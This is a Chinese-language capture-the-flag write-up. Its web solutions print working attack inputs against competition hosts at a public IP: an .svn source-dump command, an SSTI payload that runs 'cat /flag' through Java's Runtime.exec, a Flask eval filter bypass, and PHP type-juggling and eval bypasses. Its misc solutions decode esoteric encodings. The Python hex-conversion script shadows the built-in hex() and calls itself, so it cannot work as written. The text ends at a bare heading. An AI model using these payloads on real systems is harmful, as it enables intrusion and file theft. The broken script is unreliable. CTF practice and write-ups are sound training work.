WEB
input_data
使用工具https://github.com/kost/dvcs-ripper
./rip-svn.pl -u http://101.200.58.4:10005/.svn
下载下来.svn目录
然后查看结构发现几个文件
cd进去目录,然后cat 文件名字即可看到 flag{5674938f-803d-4c41-8f84-a77f5164bb4f}
Flag: flag{5674938f-803d-4c41-8f84-a77f5164bb4f}
admin
先通过越权访问到admin,访问路径如下
/;/admin
然后bp字典枚举出传参数path测试出ssti, 经过测试发现需要打java视图操作ssti
payload如下
http://101.200.58.4:3333/;/admin?path=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22cat%20/flag%22).getInputStream()).next()%7d__::x
成功命令执行:
Flag:flag{5d28c6ce-fede-498a-9053-6fe53f54f7d3}
flask
题目源码如下
from flask import Flask, request, Response
import re
app = Flask(__name__)
@app.route('/')
def index():
evalme = request.args.get('evalme')
if ((not evalme) or re.search(r'[A-Zd-z\\. /*$#@!+^]', evalme)):
return 'hacker?'
a=eval(evalme)
print(1)
with open(a, 'rb') as f:
return Response(f.read())
if __name__ == '__main__':
app.run(port=8081,debug=True)
由于禁用了字母,但是abc还可以构造格式化字符串,其实还可以用unicode字符绕过,即使没有abc
命令如下 格式化字符串构造文件名字/flag 通过字典取值得到
/?evalme=[a:=%22%c%c%c%c%c%22%(47,102,108,97,103)][-1]
如此多的FLAG
源码中找到下一层文件F1aaj.php
cookie中找到题目下一层的文件/FLLL4g.php
FLLL4g.php访问源码如下
<?php
if (isset($_GET['X'])) {
$temp = $_GET['X'];
is_numeric($temp) ? die("no numeric") : NULL;
if ($temp > 9999) {
echo "Pupil.</br>";
} else {
die("NO!NO!NO!");
}
}
else {
die("Where is X?");
}
if (isset($_GET['Y'])) {
$md5 = $_GET['Y'];
if ($md5==md5($md5)) {
echo "Junior school student.</br>";
} else {
die("NO!NO!NO!");
}
}
else {
die("Where is Y?");
}
if (isset($_GET['Z'])) {
$content = $_GET['Z'];
if (strlen($content) >= 60) {
die("No long!");
}
$blacklist = [' ', '\'', '"', '`', '\[', '\]', '\{', '}', '\t', '\r', '\n'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("NO!NO!NO!");
}
}
$security = ['abs', 'base_convert', 'cos', 'dechex', 'exp', 'f1ag', 'getrandmax', 'hexdec', 'is_nan', 'log', 'max', 'octdec', 'pi', 'sin', 'tan'];
preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
foreach ($used_funcs[0] as $func) {
if (!in_array($func, $security)) {
die("NO!NO!NO!");
}
}
eval('echo '.$content.';');
if(isset($f1ag)){
if($f1ag == "flag"){
echo "Senior high school student.</br>";
echo "Here_is_flag!!!!!!!";
}
}
else{
echo "NO!NO!NO!";
}
}
else {
die("Where is Z?");
}
?>
第一种方法
第一步先绕过is_numeric,用数组即可
第二步md5绕过网上一搜一大把
X[]=10000&Y=0e215962017&Z=log($f1ag=0)
第三步可以用 0来绕过,log函数就可以X[]=10000&Y=0e215962017&Z=log($f1ag=0)
或者使用cos函数也可以 X[]=10000&Y=0e215962017&Z=cos($f1ag=0)
Misc:
信息安全大赛的通知
打开后换颜色即可看到flag
多重编码
附件:
编码1:++++++++[>>++>++++>++++++>++++++++>++++++++++>++++++++++++>++++++++++++++>++++++++++++++++>++++++++++++++++++>++++++++++++++++++++>++++++++++++++++++++++>++++++++++++++++++++++++>++++++++++++++++++++++++++>++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++<<<<<<<<<<<<<<<<-]>>>>>>>++++++.>----.<-----.>-----.>-----.<<.+.<<<+++++++.------.>>>+.+.---.<<<.
编码2:([](!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+[])[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[+!+[]]+[!+[]+!+[]+!+[]]+([](!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(!![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+[])[!+[]+!+[]]+[!+[]+!+[]+!+[]]+(![]+[])[+[]]+[!+[]+!+[]]+[+!+[]]
编码3:Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook! Ook. Ook? Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook!
Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook? Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook! Ook? Ook! Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook! Ook. Ook! Ook! Ook! Ook! Ook! Ook. Ook? Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook!
Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook?
Ook. Ook? Ook! Ook. Ook? Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook!
Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook! Ook. Ook. Ook. Ook. Ook.
Ook! Ook. Ook! Ook. Ook! Ook! Ook! Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook. Ook! Ook! Ook! Ook!
Ook! Ook. Ook. Ook. Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook! Ook? Ook! Ook! Ook. Ook?
Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook? Ook. Ook? Ook! Ook. Ook? Ook. Ook. Ook. Ook. Ook. Ook. Ook. Ook.
Ook. Ook. Ook! Ook. Ook? Ook.
第一段 JSFUCK 解密:flag{ab71cda1
都二段 控制台解码:b495e13b3f21
第三段Ook解密:f6fd50221978}
flag{ab71cda1b495e13b3f21f6fd50221978}
bluetooth
全局搜索flag发现zip并有key密钥
flag.txt:
10004583275926070044326083910251708233320797779355779208703097816305188140191914132269450797
Key:5216294695211820293806247029887026154798297270637676463374801674229881314620340407569315152
这就是密文和密钥
10进制转16进制 脚本
def hex(number):
hex_str = hex(number)[2:]
if len(hex_str) == 1:
hex_str = '0' + hex_str
return hex_str
if __name__ == "__main__":
number = int(input("input: "))
hex_representation = hex(number)
print(f"{number}的16进制表示为: {hex_representation}")
得到flag{66526827ff3ba85e1444a0df4acbba93}
Coding
观察给的文件
936544a55314a7e4339545f47776a6e41315a7d41325743575655455b4478516a6537416
谜底就是flag,希望大家享受解码的过程。
直接用赛博厨子,html解码,逆序,16进制解码,base64解码即可
凯撒爆破: